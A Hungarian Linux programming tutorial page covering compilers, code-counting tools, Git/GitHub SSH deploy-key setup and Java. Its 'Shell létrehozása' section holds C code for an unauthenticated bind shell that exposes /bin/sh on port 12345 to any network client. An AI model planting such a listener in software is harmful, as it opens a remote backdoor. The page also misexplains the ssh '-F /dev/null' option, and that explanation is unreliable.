< Linux

Linux programozás

Szerző: Sallai András

Copyright © Sallai András, 2011, 2013, 2016, 2018, 2019, 2020

Licenc: GNU Free Documentation License 1.3

Web: http://szit.hu

Bevezetés

Ennek a lapnak célja a Linuxon programozáshoz használható fordítók, értelmezők telepítésének, használatbavételének bevezetése.

Nem célja egy-egy programozási nyelvbe való bevezetésnek. Ezeket megtaláljuk a Oktatás >> Programozás névtérben.

Programozási nyelvek

Egy linuxos rendszerre általában C nyelven szoktak parancssoros programokat írni. Grafikus programokat C++ nyelven. Persze mindig vannak kivételek. Apró funkciókra mondjuk a Perl vagy Bash scriptet írunk. De népszerű a Python nyelv, amelyen általános célokra kisebb nagyon parancssoros és grafikus programokat is írnak.

Az egyik legnépszerűbb fordító a GCC. Eredetileg valóban csak C fordító volt, de később képessé tették a C++ programok fordítására, majd megint később Pascal, Objective C, Java, Fortran és Ada nyelvek fordítását is megoldották. Így ma már nem fordítónak tekinthető, hanem egy előtét programnak „front end”.

Alapvetően a C és C++ nyelven megírt programokat fordíthatunk vele. C nyelv esetén a fordító parancs megegyezik annak nevével:

gcc

vagy:

cc

A C++ forráskódot azonban az alábbi paranccsal fordítjuk:

g++

Egy alaprendszer esetén a gcc automatikusan telepszik. Ha nem, telepítsük a gcc csomagot:

apt install gcc

Clang

A Clang szintén egy előtét program.

A C, C++, Objective-C és Objective-C++ nyelvekkel használható.

Használja az LLVM-et (Low Level Virtual Machine - alacsony szintű virtuális gép) „back end”.

Az LLVM a fordítói rendszer köztes részeként működik. A program először egy köztes kódra fordul le, a köztes kódból az adott rendszerre könnyen fordíthatunk a köztes kódból futtatható gépi-kódot.

A clang telepítése:

apt install clang

Telepítés után használhatjuk a cc parancsot. Létrejön egy /usr/bin/cc szimbolikus link. Ez a szimbolikus link a /etc/alternatives/cc fájlra mutat, amely szintén szimbolikus link. A /etc/alternatives/cc szimbolikus link a /usr/bin/clang fájlra mutat. Ha van egy program01.c nevű fordítandó forrás fájl, a fordítás a következő:

cc program01.c -o program01

Ha több fordító is fel van telepítve, például a gcc, akkor a következő paranccsal állíthatjuk be az alapértelmezést:

# update-alternatives --config cc

Egy egyszerű c program fordítása

Készítsük el a következő main.c nevű állományt:

#include <stdio.h> main() { printf("Helló Világ\n"); }

Fordítás:

cc main.c

Kapunk egy a.out nevű futtatható fájlt.

Futtatás:

./a.out

Fordítás újra

Innentől már csak C nyelvet kell ismernünk a használathoz. A C programozásról az Oktatás -> Programozás -> C nyelv fejezetben olvashatsz bővebben. A teljesség igénye nélkül azért itt is tovább megyünk, de hangsúlyt a fordításra helyezve.

A fenti program kimenete a.out állomány. Fordításkor megadható más kimeneti állománynév is, a -o kapcsolóval. Fordítsuk újra a main.c forráskódot:

cc -o main main.c

A fordító egy „main” nevű futtatható állományt hoz létre.

Futtatás:

./main

Shell létrehozása

#include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> int sockfd, cli; struct sockaddr_in serv_addr; int main() { serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(12345); sockfd = socket(AF_INET,SOCK_STREAM,0); bind(sockfd,(struct sockaddr *) &serv_addr, 0x10); listen(sockfd, 1); cli = accept(sockfd, 0, 0); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execve("/bin/sh", 0, 0); }
nc localhost 12345

Riport készítése

cloc

Statisztikát, illetve riportot készíthetünk a cloc paranccsal. A parancs a cloc csomagban található. Debian 9 rendszeren a telepítése:

# apt install cloc

Legyen például a ~/Projektek/projekt01 a könyvtárunk, amely sok forrásfájlt tartalmaz. Ekkor:

janos@mars:~$ cloc ~/Projektek/projekt01
51 text files.
51 unique files.
1 file ignored.
github.com/AlDanial/cloc v 1.70 T=0.20 s (250.1 files/s, 40252.0 lines/s)
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
PHP 48 1360 1329 5173
CSS 2 32 35 117
-------------------------------------------------------------------------------
SUM: 50 1392 1364 5290
-------------------------------------------------------------------------------
janos@mars:~$

A program a kiterjesztések alapján azt is megmondja, milyen nyelveket használtunk. Hány sor üres, hány megjegyzés és hány kódsor. A példában 5290 kódsort írtunk.

sloccount

Telepítés:

apt install sloccount

janos@mars:~$ sloccount ~/Projektek/projekt01

Lehetséges kimenet:

SLOC	Directory	SLOC-by-Language (Sorted)
5070 htdocs php=5070
26 tmp php=26
23 config php=23
0 logs (none)
0 top_dir (none)
Totals grouped by language (dominant language first):
php: 5119 (100.00%)
Total Physical Source Lines of Code (SLOC) = 5,119
Development Effort Estimate, Person-Years (Person-Months) = 1.11 (13.33)
(Basic COCOMO model, Person-Months = 2.4 * (KSLOC**1.05))
Schedule Estimate, Years (Months) = 0.56 (6.69)
(Basic COCOMO model, Months = 2.5 * (person-months**0.38))
Estimated Average Number of Developers (Effort/Schedule) = 1.99
Total Estimated Cost to Develop = $ 150,067
(average salary = $56,286/year, overhead = 2.40).

Fejlesztéshez alapvető csomagok

Debian GNU/Linuxon a build-essential alapvető csomagokat tartalmaz fejlesztéshez. Ezek a csomagok elsősorban C és C++ fejlesztés eszközei. Telepítés:

apt install build-essential

A csomaggal több eszköz is felkerül, többek között a gcc, c++ és a make. Más Linuxokon, más neve lehet; például az Arch Linuxon ez a csomag a base-devel néven érhető el.

Git

A git parancs

A git egy parancssoros program, amelynek a telepítése következő:

apt install git

A git lehetővé teszi programjaink verziókezelését.

A git használatáról Oktatás >> Programozás >> Verziókontroll névtérben találsz kimerítő leírást.

Github

Célunk, hogy git push kiadásakor ne kelljen megadni jelszót, kulccsal azonosítjuk magunkat.

Elsőként lépjünk a .ssh könyvtárba. A .ssh könyvtárba generálunk egy SSH kulcsot. A kulcsgeneráláskor kér egy jelszót, de ne adjuk meg, mivel éppen az a célunk, hogy ne keljen megadi.

cd ~/.ssh
ssh-keygen -t rsa -b 4096 -C "janos@valahol.lan" -f janos_github_rsa

Két kulcs készül:

janos_github_rsa – titkos kulcs

janos_github_rsa.pub – nyilvános kulcs

A titkos kulcsra vigyázzunk; ennek birtokában lehet elérni a Github szervert. A nyilvános kulcsot terjeszthetjük.

A kulcs elkészítése után térjünk vissza a projekt könyvtárába. Adjuk meg a git számára, milyen titkos kulcsot használunk a kapcsolódáshoz:

git config core.sshCommand "ssh -i ~/.ssh/janos_github_rsa -F /dev/null"

Erre a git 2.10.0-s verziója óta van lehetőség. Előtte a GIT_SSH_COMMAND változónak kellett megadni az idézőjelek közötti részt. A környezeti változós megoldásra a git 2.3.0-s verziójától van lehetőség.

A -F /dev/null kapcsolóval, az ssh parancsnak hibakimenetét (szabványos hibakimenet), átirányítottuk a „semmibe” (/dev/null).

A publikus kulcsot töltsük fel a githubra. Ehhez a következőket tegyük a Github webes felületén:

Válasszuk ki a kívánt projektet.

Kattintsunk a „Settings” hivatkozásra.

Kattintsunk a Deploy keys-re.

Kattintsunk az Add deploy key-re.

Két űrlap fogad minket:

Adjunk tetszőleges nevet a kulcsnak (kié a kulcs, érdemes megadni).

A Key mezőbe töltsük fel a nyilvános kulcsunkat.

geany janos_github_rsa.pub

Egy szövegszerkesztőben megnyitjuk, majd vágólapon keresztül bemásoljuk.

A geany helyett válasszuk kedvenc szövegszerkesztőnket.

Ezek után git push:

git remote add origin git@github.com:janos/projektnev.git
git push origin master

SSH config fájl

host github.com HostName github.com IdentityFile ~/.ssh/janos_github_rsa User git

git clone git@github.com:janos/projektnev.git

chmod 400 ~/.ssh/janos_github_rsa

Meglévő tartalom felülírása a helyi tartalommal

Elsőként szükséges:

git push --set-upstream origin master --force

Ezek után már elég:

git push origin master

Java nyelv használata

A java fejlesztői készlet letölthető a webhelyről, de linuxos csomagok formájában is rendelkezésre áll. Debian 10-en telepítés:

apt install openjdk-11-jdk

Debian 9-en:

apt install openjdk-8-jdk

Telepítés után kapunk egy java és egy javac nevű parancsot is. Készítsünk egy egyszerű programot:

public class Program01 { public static void main(String[] args) { System.out.println("Helló"); } }

Fordítás:

javac Program01.java

Fordítás után kapunk egy Program01.class fájlt. Futtatás:

java Program01

Függelék

COM portok programozása

man 3 setserial

Kódformázó

apt install universalindentgui

Fordítók

COBOL:

apt install open-cobol

Fortran:

apt install gfortran
apt install gfortran-6

Free Pascal:

apt install fp-compiler
apt install fp-ide
apt install fpc

D:

apt install gdc
apt install gdc-6

Irodalom

Linkek

http://www.linuxhowtos.org/C_C++/socket.htm

http://books.google.hu/books?id=ZNI5dvBSfZoC

http://books.google.hu/books?id=NYyKhOqOCF8C

http://linuxprogramozas.hu

http://wiki.hup.hu/index.php/Programoz%C3%A1s_Linux_alatt_az_NCurses_f%C3%BCggv%C3%A9nyk%C3%B6nyvt%C3%A1r_haszn%C3%A1lat%C3%A1val

https://szilard.blogs.balabit.com/tag/hello-window/ (GTK programozás)

http://www.scribd.com/doc/117116348/Hello-Window (GTK programozás /az előzővel egyezik/)